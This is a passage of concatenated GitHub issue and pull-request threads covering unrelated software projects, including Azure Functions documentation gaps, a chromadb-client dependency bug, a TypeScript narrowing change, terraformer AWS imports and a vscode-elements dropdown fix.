https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.meta?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.queue?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.servicebus?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.timer?view=azure-python

Reason:
Missing Modules and Classes description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.blob.blobconverter?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.blob.inputstream?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.cosmosdb.cosmosdbconverter?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.cosmosdb.cosmosdbtriggerconverter?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.durable_functions.activitytriggerconverter?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.eventgrid.eventgrideventinconverter?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.eventgrid.eventgrideventoutconverter?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.eventhub.eventhubconverter?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.eventhub.eventhubtriggerconverter?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.http.httprequest?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.kafka.kafkaconverter?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.meta?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.meta.datum?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.queue.queuemessage?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.servicebus.servicebusmessage?view=azure-python
Notes: All classes in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.timer.timerrequest?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.timer.timerrequestconverter?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-functions/azure.functions.document?view=azure-python
Notes: All classes in the model have this issue.

Picture1:

Picture2:

Picture1 - Missing Methods description.
Picture2 - Missing Parameters and Positional-Only Parameters description.

Package: azure-functions-durable
① Section link:

https://learn.microsoft.com/en-us/python/api/azure-functions-durable/azure.durable_functions.models?view=azure-python
https://learn.microsoft.com/en-us/python/api/azure-functions-durable/azure.durable_functions.models.actions?view=azure-python

Reason:
Missing Modules description.
② Section link:

https://learn.microsoft.com/en-us/python/api/azure-functions-durable/azure.durable_functions.models.actions.callactivityaction?view=azure-python
Notes: Most of Modules in the model have this issue.

https://learn.microsoft.com/en-us/python/api/azure-functions-durable/azure.durable_functions.models.history.historyevent?view=azure-python

https://learn.microsoft.com/en-us/python/api/azure-functions-durable/azure.durable_functions.models.history.historyevent.historyevent?view=azure-python

Reason:
Missing Parameters description.

The issue has not been fully edited, and a new issue will be opened later.


[Bug]: chromadb-client require fast-api to function but it is not installed during "pip install"

What happened?
After installing chromadb-client for my server (pip install chromadb-client only), I tried to use it as per docs:
import chromadb  # as per documentation, import fails
from chromadb import HttpClient  # this also fails

But got an import error because fast-api is missing. If fast-API is needed for lightweight clients, it should be added for dependencies. If not, it should not be required, so, most probably, somewhere, an import statement placed that should be moved.
Versions
python 3.11.7, chromadb-client==0.4.23.dev0
Relevant log output
No response

The solution for now is to use the full Chromadb package.

@VMois, thanks for reporting this. I came to the same conclusion. There's a PR that has been merge and fixes this but the new client package hasn't been released yet.


University of Centeral Punjab

please add my university in it

@gourmetrepo I am sorry, the domain ucp.edu.pk is removed from our trusted domains list because it was abused in the past. If you are the student of this school, please enroll to GitHub Student Developer Program. Then apply for JetBrains educational subscription with your GitHub account (GitHub tab at https://www.jetbrains.com/shop/eform/students).


Bluetooth: Mesh: Fix proxy advertising set sending Mesh messages

When start to sending proxy advertising, will also process in send_pending_adv, but the bt_mesh_adv_get_by_tag will directly return buffer from bt_mesh_adv_queue or bt_mesh_relay_queue, which case mesh messages sent on different sets, can cause peer replay attack.

@PavelVPV @alxelax  Please take a look, this is bugfix.

@PavelVPV @alxelax Please take a look, this is bugfix.

We have so many issues with this state machine so I'm thinking that we are lacking of a unit test for adv_ext.c

@PavelVPV @alxelax Please take a look, this is bugfix.

We have so many issues with this state machine so I'm thinking that we are lacking of a unit test for adv_ext.c

Sorry, for the entire adv layer (adv.c, adv_ext.c, adv_legacy.c)


Elon Musk made the api paid....

Elon Musk made the api paid....

Yeah, I'm well aware of that.
For some weird reason, the API works again for like 2-3 weeks after the API is paid.
Sadly, it seems to be fixed now, it's no longer working.


Change the gauge gain so it makes sense and also change the displayed score

the old score calculation should only be used to decide what grade the
player should get

@Drewol This needs a rebase now. There are merge conflicts.


Error using custom events

This PR allows Drab to bind to any event name, not only "on..." based ones.
It fixes #123

@grych As a side note, why don't we use jQuery to attach to events? (on notation)
It would be more flexible as jQuery generates different js based on the browser.

About jQuery, it was done like this at the beginning. But removing jQuery was a very popular demand, and I decided to go with no dependency on any JS libraries in Drab Core (while particular modules, like Drab.Query, may use them).

I found another issue, on top of the remove/add stuff.
addEventListener does not catch some events triggered with jQuery on.
This is the actual case of Bootstrap datepicker, it triggers dp.change but via jQuery so addEventListener('dp.change'... does not pick the event :-(
I guess that's the reason of ppl trying to stay away of js :-D

This does the trick:
function update_event_handler(node, event, func) {
  if (!node.drab_event_handler) {
    node.drab_event_handler = {};
  }
  if (node.drab_event_handler[event]) {
    node.removeEventListener(event, node.drab_event_handler[event]);
  }
  node.addEventListener(event, func);
  node.drab_event_handler[event] = func;
}

It stores the reference to the previous anonymous function in drab_event_handler property. Only one event of the kind allowed for a node, which is OK as the same was previously and it is described in docs.
Please update your PR and I'll accept. Thanks!

It stores the reference to the previous anonymous function in drab_event_handler property.

Yeah if you don't care about supported duplicates then no key is needed.  :-)

addEventListener does not catch some events triggered with jQuery on.

Yes it does, just have to hook them to the proper objects.  If you can put a repro up then I can show how to fix it.  :-)

@grych

Please update your PR and I'll accept. Thanks!

Done

@OvermindDL1 Just to make the question easier to reply here is a jsfiddle showing the problem:
https://jsfiddle.net/L8g745vx/

You are setting event listener to . In this case, you should use true as a third argument to addEventListener to propagate the event.

@OvermindDL1 Thanks for looking into it :-D
I was indeed thinking of using another datepicker, the only reason I was using it was because it was on the template I was asked to customize and I wanted to change as little as possible but I guess I'll just throw the component down the drain.

Why not just use the HTML5 standard datetime or date or time pickers?  Then it will use whatever is native to the browser/OS it is running on, meaning for desktops you get something that works decently (depending on browser), for mobile you get a fantastically well designed mobile selection, etc... etc...  :-)


Converting previously error diagnostics to warnings breaks several tests

See https://dart-ci.firebaseapp.com/cl/153742/1
language_2/super/setter_test
language_2/unsorted/index_assign_operator_infer_return_type_test
language/unsorted/index_assign_operator_infer_return_type_test
See also https://github.com/dart-lang/co19/issues/805

Please note that I'm gathering support for changing several specified warnings to errors, in which case there is no need to change the analyzer in the opposite direction: https://github.com/dart-lang/language/issues/1012.

OK, I will postpone landing my CL.
I started looking on issues because of our progress report for "NNBD regressions" in analyzer was not moving into the right direction :-)

I hope I can soon make this move without any effort from you! ;-)

OK, there is nothing to do here then.


Add a marker to highlight a particular part of the scene

Add a marker to a scene, like people do in microscopy images:

This could be done by specifying a point or by giving a mesh and asking that the marker be 'above' the mesh' center of mass.
The marker could be an inverted cone with lighting off (and outline).

Not implemented


Consistent narrowing by discriminant

With this PR we fix inconsistencies in our narrowing logic for discriminated unions. Previously we required the declared type of a reference to be a union type before we'd narrow by discriminants. This meant narrowing by discriminant wouldn't work in conjunction with user defined type predicate narrowing, with the notable (and inconsistent) exception of switch statements. We now consistently allow narrowing by discriminant of a reference with a declared type that isn't a union but a control flow type that is (which, for example, might result from first narrowing an unknown to a union type using a user defined type predicate and then narrowing the union type by a discriminant).
Fixes #30557.
Fixes #36777.

@typescript-bot test this
@typescript-bot user test this
@typescript-bot run dt
@typescript-bot perf test this

Tests all look good (nothing but preexisting conditions).

Does this obsolete https://github.com/microsoft/TypeScript/pull/33434 ?

@weswigham I think it pretty much replaces the second: this is so much simpler. I don’t believe this is quite as general as the other PR aims to be, but I went through all the duplicates on the original issue and this fixes them.
I think my only comment here is whether it’s worth filter the declared type for non-object types. I’m not sure this approach works if the declared type is something like object | undefined.
The first PR you link was some tidying I haven’t updated yet (sorry). I don’t think it’s changed by this.


Drag-Drop reordering category

Drag & Drop to reorder category quickly in Settings/Category  screen
Screen_recording_20241107_235552.webm

Also where demo video

Video uploaded.

Just personal opinion, even though the functionality is cool, I prefer the old look of categories. Everything isn't centre aligned like that one.

Remove card from the category

Remove card from the category

sorry I don't get what do you mean?

CategoryListItem has ElevatedCard I'm asking for you to remove it

CategoryListItem has ElevatedCard I'm asking for you to remove it

What style do you prefer? Flat without card style?
Remove Card would look like this:

Hello  @AntsyLich , Is this still in progress ?

CategoryListItem has ElevatedCard I'm asking for you to remove it

What style do you prefer? Flat without card style?
Remove Card would look like this:

I'm waiting for Antsy response


[Feature request] Window Title Profiles

Currently the profiles are executable-based, although I believe that an option for adding profiles based on Window Title(with SetTitleMatchMode option) could be really useful. For example, it could open up the ability to have different profiles on different websites such as google, youtube, gmail, etc.
That's really it, Window Title based profiles. That by itself would be more than useful. Although, it would also be cool to have either:

The option to have 2 conditions on the profile at the same time. Meaning you could make a profile based on exe, window title, or both. By both I mean it would require both the exe and window title condition to be met to activate the profile.
Sub-profiles. This would be effectively the same as the first option, but the secondary condition would be added as a sub-profile. GUI-wise, that would probably mean you have a list you can open of sub-profiles underneath the current profile. This would be more of an organizational option to keep things neat. Meaning that instead of having profiles for Chrome, Google, Youtube, and Gmail you could have the profile for Chrome, and underneath that you have sub-profiles for Google, Youtube, and Gmail.

I can see this being useful for web-browser or web-based apps.  Yeah that seems like a good idea, ultimately everything will have to be tied to an exe at a top level just due to the structure of this, and that pattern seems to work for most people.  I don't see the situation of creating a profile based on a window title only happening,  so I think organizationally I would go for exe profiles first, and then you can add a Window Title condition on specific pie menus.  The main reason for this is that I want the UI structure to only push for creating exe profiles first, and then deeper in the UI are these "pie menu condition" options.
Would this work for you?  Feel free to refute me.

window title only would be for people that use 2 or more browsers,

Keep in mind that although profiles are exe based, you can add multiple exe-s in union, even in the current version.  So you could add a SINGLE profile for both Vivaldi.exe and FireFox.exe together, and then set your window title condition on your pie menu.

This is now possible, see PR #143 for instructions on how to test


Validate capabilities via Kubernetes ingress prototype

This is to prototype so we don't have to re-architect later.
Related to #91

Should we just close this issue?

Let's use this one to track how more kubernetes config maps over to YARP. The implementation today covers the absolute minimum config. Are there other common kubernetese settings we should prioritize?


Poll() is different in documentation and src code

Hi,
Great repository, don't know if you still actively maintain just a note:
Documentation for Poll() is different from source code
https://github.com/TyrenDe/SSHServer/wiki/003:-Listening-for-Connections
Code says:
                Task<Socket> acceptTask = m_Listener.AcceptSocketAsync();
                acceptTask.Wait();

                Socket socket = acceptTask.Result;

Documentation says:
            while (m_Listener.Pending())
            {
                Task acceptTask = m_Listener.AcceptSocketAsync();
                acceptTask.Wait();

                Socket socket = acceptTask.Result;
                m_Logger.LogDebug($"New Client: {socket.RemoteEndPoint.ToString()}");

                // TODO: Create and add client list
            }

The documented code throws a error as the Task is not returning a Result.

Thanks for catching that. The page actually had the  in there, but the Wiki filtered it out. I had to change them to <Socket>.


Update the template description

Reference https://bugzilla.redhat.com/show_bug.cgi?id=1962281
The status of "ocs-osd-removal-job pod" turns completed although removal
job failed to remove osds successfully.
In some cases user might enter wrong input to the FAILED_OSD_IDS
template parameter.
This commit updates the template description to notify the user to always
read the job logs to check whether osds successfully removed or not.
Signed-off-by: Servesha Dudhgaonkar<EMAIL_ADDRESS>(cherry picked from commit 92df1c3044538ef6152650757c0efbf1e4ad3048)

/retitle Bug 1962281:  Update the ocs-osd-removal template description #1215

/retest

/override ci/prow/red-hat-storage-ocs-ci-e2e-aws


prevent invoking memcpy on nullptr in utf16_to_lat1::convert

This fixes sending a nullptr to memcpy, which is undefined behaviour. It also prevents doing pointer arithmetics on a nullptr in the return statement.
The existing test "random_fuzzer" covers this.

We'll merge this as soon as the tests pass.

Merging.


No data with bulk AWS import

Version 1:
PROFILE=terraform
REGIONS=us-east-1
RETRIES=20
RETRY_SLEEP=20000
RESOURCES=accessanalyzer,acm,alb,api_gateway,appsync,auto_scaling,batch,cloud9,cloudformation,cloudfront,cloudhsm,cloudtrail,cloudwatch,cognito,config,customer_gateway,datapipeline,docdb,dynamodb,ebs,ec2_instance,ecr,ecrpublic,ecs,efs,eip,eks,elastic_beanstalk,elasticache,elb,emr,eni,es,firehose,glue,iam,igw,iot,kinesis,kms,lambda,logs,media_package,media_store,msk,nacl,nat,opsworks,organization,qldb,rds,resourcegroups,route53,route_table,s3,secretsmanager,securityhub,servicecatalog,ses,sfn,sg,sns,sqs,ssm,subnet,swf,transit_gateway,vpc,vpc_peering,vpn_connection,vpn_gateway,waf,waf_regional,workspaces,xray

terraformer import aws --profile $PROFILE -r $RESOURCES --regions=$REGIONS -m $RETRY_SLEEP -n $RETRIES

This loads almost nothing. For example RDS and EC2 folders contain empty lists in "tfstate" files.
Version 2 - we load resources one-by-one:
RESOURCES_SP="accessanalyzer acm alb api_gateway appsync auto_scaling batch cloud9 cloudformation cloudfront cloudhsm cloudtrail cloudwatch cognito config customer_gateway datapipeline docdb dynamodb ebs ec2_instance ecr ecrpublic ecs efs eip eks elastic_beanstalk elasticache elb emr eni es firehose glue iam igw iot kinesis kms lambda logs media_package media_store msk nacl nat opsworks organization qldb rds resourcegroups route53 route_table s3 secretsmanager securityhub servicecatalog ses sfn sg sns sqs ssm subnet swf transit_gateway vpc vpc_peering vpn_connection vpn_gateway waf waf_regional workspaces xray"

for res in $RESOURCES_SP; do
    terraformer import aws -vvv -o sep --profile $PROFILE -r $res --regions=$REGIONS -m $RETRY_SLEEP -n $RETRIES | tee -a $LOGFILE
done

And this loads data!
└> /usr/bin/terraform --version
Terraform v1.0.7
on linux_amd64
+ provider registry.terraform.io/hashicorp/aws v3.59.0
+ provider registry.terraform.io/hashicorp/random v3.1.0
+ provider registry.terraform.io/kreuzwerker/docker v2.15.0

└> /usr/local/bin/terraformer --version
version v0.8.17

The issue is still valid, please reopen.

Although I am an author, I see no button for me to reopen the issue. Noone from the developers look interested in this issue and I have already moved to another task and decided not to use this tool for a while.
If someone opens a new issue in replacement to this one - please put the reference.

which tool you have moved to?


SingleSelect: when inside a collapsible, popup options are truncated

This is a complex issue and there isn't any simple solution to fix it. I added two options to the components that will help you fix this issue.

The select got a position property, which controls the position of the dropdown. The valid values are "above" and "below".
The overflow of body of the collapsible component is hidden by default, and for good reason. I defined a CSS part that you can use to modify this property.

vscode-collapsible::part(body) {
  overflow: visible;
}

With this CSS, the dropdown won't be truncated, but the bottom margin of the last element will push down the next element after the Collapsible component. Therefore it's your responsibility to fix this.

I published a pre release version, please let me know if this solve your issue. You can install with: npm i @vscode-elements/elements@next

Seems that with the css everything works fine, and no extra margin appears. Maybe it's because there's an extra div between collapsible and single-select?
            <vscode-collapsible title="abc" open>
                <div id="indexPanel">
                    <vscode-single-select>
                        <vscode-option>abc</vscode-option>
                        <vscode-option selected>def</vscode-option>
                    </vscode-single-select>
                </div>
            </vscode-collapsible>

#indexPanel {
    display: flex;
    flex-direction: column;
    gap: 0.5rem;

    padding: 0.5rem;
}

Only the children with margins are affected. In my example, the last line is a <p> tag with default vertical margins.


Develop FedRAMP position papers based on cloud.gov's experience and observations

In order to support secure cloud adoption across the U.S. government, we want to provide feedback to advisory bodies on FedRAMP's strengths, and gaps.
Still need to determine the best audience for these, and who should contribute.
Acceptance Criteria
At least 2 of the following by June 30, 2023

[ ] marketplace distribution
[x] #2532
[ ] small CSP experience
[ ] significant changes
[ ] 3paos
[ ] government community clouds

Security considerations
None. Documentation only.

Related issues: #1568 cloud-gov/private#598 cloud-gov/cg-site#2074

Closing this since it's no longer needed. Our program has done pretty well commenting on relevant proposals, and the addition of the senior level Cloud Strategy position at TTS helps with the translation from our experience to FedRAMP policy and process that we don't need to do this.